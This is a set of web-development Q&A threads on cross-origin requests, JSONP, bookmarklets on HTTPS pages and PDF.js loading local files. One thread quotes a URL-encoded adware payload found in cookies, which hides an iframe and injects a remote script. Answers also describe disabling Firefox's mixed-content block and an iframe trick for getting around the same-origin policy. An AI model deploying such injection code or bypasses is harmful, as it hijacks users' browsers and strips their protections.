I installed google toolbar recently and used the "word translate" feature where you hover the mouse over a word (say you're browsing the French newspaper Le Monde), and it brings up the English translation. Very cool.
But I was wondering how they actually implement this? Obviously the code (javascript?) in their toolbar plugin has to talk to a server to do the look-up. But the domain is lemonde.fr, so isn't this a cross-domain request which isn't possible? The toolbar works on any site so there's no requirement for that site to have special code installed.
Or are the rules different for browser plug-in code vs. javascript embedded in the site itself?
Regular XMLHttpRequest between domains is blocked by the browser, but that isn't the only wat to send a cross site request. A common way around that is JSONP, which is effectively the same as adding a script element:
<script type="text/javascript"
src="http://google.com/translate.js?word=baguette">
</script>
That <script> tag will be requested from Google - it doesn't require a POST, isn't strictly AJAX, and will not be blocked. If Google returns a sensible response, you can use it. There are many other ways of communication that aren't blocked, but JSONP is usually the most straightforward.
Even more importantly, a toolbar is a browser extension - not a web page extension. In general (unless sandboxed), it is the same as a program that runs on your computer - a toolbar can have unlimited access to the internet and to your personal files.
Related
Some clients send requests to our webapp with additional cookies like this:
vidyk=1; svidyk=1; ykuid=tpvur0av71lvfcvbn4pz; ykoptout=false; vidyk=1; svidyk=1; ykuid=tpvur0av71lvfcvbn4pz; ykoptout=false; _ga=GA1.2.633227847.1500039040; _gid=GA1.2.1587477355.1500039040; _gat_ga_ua2=1; _gat_ga%28'create'%2C'UA-93290101-3'%2C'auto'%2C%22ga_ua2%22%29%3Bga%28'ga_ua2.send'%2C'pageview'%29%3B!function%28%29%7Bfunction%20e%28e%2Ct%29%7Bvar%20d%3Ddocument.createElement%28%22iframe%22%29%3Bd.src%3D%22about%3Ablank%22%2Cd.style.display%3D%22none%22%2Cdocument.body.appendChild%28d%29%2CElement.prototype.appendChild%3Dd.contentWindow.Element.prototype.appendChild%2CElement.prototype.insertBefore%3Dd.contentWindow.Element.prototype.insertBefore%3Bvar%20n%3Ddocument.createElement%28%22script%22%29%3Bn.type%3D%22text%2Fjavascript%22%2Cn.async%3D!0%2Cn.src%3D%22%2F%2Fd323drta3nak2g.cloudfront.net%2Fv1%2Ftaas%3Fid%3D%22%2Be%2B%22%26api_key%3D45918e2d6de38b8deaf7927d277e58d5%26site_id%3D%22%2Bt%2B%22%26disclosure_text%3D%26disclosure_url%3Dhttps%253A%252F%252Fyieldkit.com%252Flegal-notes%252Fterms-of-service%252F%26yk_tag%3Db%22%2C%28document.getElementsByTagName%28%22head%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28n%29%7De%28%22se.prod%26pla%3D1%26si%3D1%26%22%2C%220c4d5f3a79914d97b6011efb4471a249%22%29%2Ce%28%22deals.prod%22%2C%22d7d224892cfe47c7b50aed3bb644057f%22%29%7D%28%29%3B%2F%2F=1;
Our application does not install such cookies. We used some external JavaScript, like Google Analytics, but none of those scripts is doing this. Our site is accessible only via HTTPS, so MITM request modification is unlikely.
We use WAF, these requests are blocked and clients are unhappy.
I suppose, some malicious browser extension is trying to exploit some popular web engine vulnerability.
Has anybody encountered anything like this? Any ideas on what is doing that?
P.S. URL decoded content of that cookie is javascript, that among other contains link to http://yieldkit.com/legal-notes/terms-of-service/, but they are probably just used by scammer to monetize their attacks.
Found it. This malware does this: http://www.spyware-ru.com/udalit-r-srvtrck-com-reklamu-instruktsiya/ (article in russian) and translated with google translate.
Short summary:
There is a malware, that creates pop-up advertising windows with r.srvtrck.com site for Chrome, Firefox and IE. Also it may integrate advertising into web sites you open.
To remove it, you can use:
AdwCleaner program
Malwarebytes Anti-malware program
reset browser settings
clear *.lnk files from added site address after browser executable
AdGuard program to block advertising (I'd not recommend that, just clear your system and use AdBlock/uBlock)
It is recommended to check Windows Task Scheduler for unwanted tasks, that periodically start browser with malware site address.
I was using PDF.js , good to know another plugin finally developed using JS. Another step toward that famous quote " if sth can be implemented using JS, eventually it will be implemented using JS".
I tried right away to open a local DEMO page, but it didn't work. and the introduction on PDF.js page indicated that some browser ( in my case: chrome ) don't allow open PDF file under URL file:///a.pdf
is this because of some security concerns ?
If it's using ajax to load the file, yes, it's the browser's interpretation of the Same Origin Policy. Some (most?) browsers don't allow ajax access to file:// origins, even from documents loaded from file:// origins.
I'm trying to make a bookmarklet to use on youtube and other video sites in order to easily get information from the video and store it elsewhere.
From today, apparently I can't do that anymore since youtube force itself on a https connection and from what I've read on chrome's console window, the bookmarklet doesn't run on a https page. Is there a workaround?
Here is the edited code:
javascript:(function(){var jsCode=document.createElement('script');jsCode.setAttribute('src','http://[mysite]/b/enter.php?i=userid&r='+Math.random());document.body.appendChild(jsCode);}());
Google Chrome (and possibly other browsers?) blocks HTTP resources from being accessed from an HTTPS document. This is to prevent "mixed content" attacks, in which insecure HTTP scripts could be intercepted by an attacker in transit over the network and altered to perform any kind of malicious activity (e.g., leak cookies or sensitive page information to a third party). Such a violation would undo any protection granted by HTTPS.
Chrome used to provide a prominent warning that an insecure resource was blocked, but now it no longer does so, and all insecure loads silently fail. The only solution available to you at this time is to use HTTPS yourself when you serve the script.
In Firefox, if you want to run a bookmarklet that references http on an https page, the way to get around this is to temporarily disable security.mixed_content.block_active_content. There are two ways to do this.
go to about:config in a new tab, search for security.mixed_content.block_active_content and then toggle the value to false. Run your bookmarklet and then toggle it back to true (since you probably want it turned on most of the time).
use an add-on / extension to toggle the block. A quick search turned up Toggle Mixed Active Content, and a quick test seemed to work well. There may be others.
Have fun and be careful. Here be dragons!
the bookmarklet doesn't run on a https page
Why not?
Try changing to a HTTPS domain yourself. Usually HTTP content is blocked when you're on a HTTPS domain.
I have created a work-around "fix" for this issue using a Greasemonkey userscript. You can now have bookmarklets on all CSP and https:// sites, plus have your bookmarklets in a nice, easily-editable library file instead of being individually squished into a bookmark.
Is there any way to send HTTP requests to non-cooperating websites with javascript? I'm aware that this is forbidden because of the same origin policy, but is there any way to do it, including experimental APIs, Java applets, Flash, browser extensions, hidden settings, special certificates etc.? It's fine if the user explicitly has to grant my page permissions to access the other site, in fact that would be very reasonable.
Background: I'm trying to do a kind of mash-up by scraping several site's html, and I would like to do it from the user's IP address and not from my server.
Just a thought - If any of those websites use JQuery - this tunneling mehod might work:
http://benv.ca/2011/3/7/subdomain-tunneling-with-jquery-and-document-domain/
Create an iframe in a page on your site, load the page from the other website into it, replace your page's jquery ajax object with the one from the iframe - and you could be good to go!
Let me know if you try it :)
I'm a bit confused about this.
Does XMLHttpRequest work on a remote URL or does it have to be a local file? There seems to be mixed information on the net.
According to w3.org: The XMLHttpRequest object can be used by scripts to programmatically connect to their originating server via HTTP.
But I've seen it used to access non-local web pages (in vista gadgets for instance for rss feeds) without using a proxy...
Enlighten me please!
It depends on the environment. If you run your JavaScript on a regular web page, XMLHttpRequest won't be able to connect to any other site. (That's what w3.org says, and browsers do implement this restriction.) However, in some contexts (such as Vista gadgets and Greasemonkey), it it possible to connect to any site in an AJAX request.
On a standerd web page you cant however in an app with authorised permissions you can such as a chrome extension with the permission "http://*" set. In my opinion this is a stupid restriction for normal web pages any damage/harm that can be done with it could be done using an iframe and the browsers refuse to disable them (long over due in my opinion).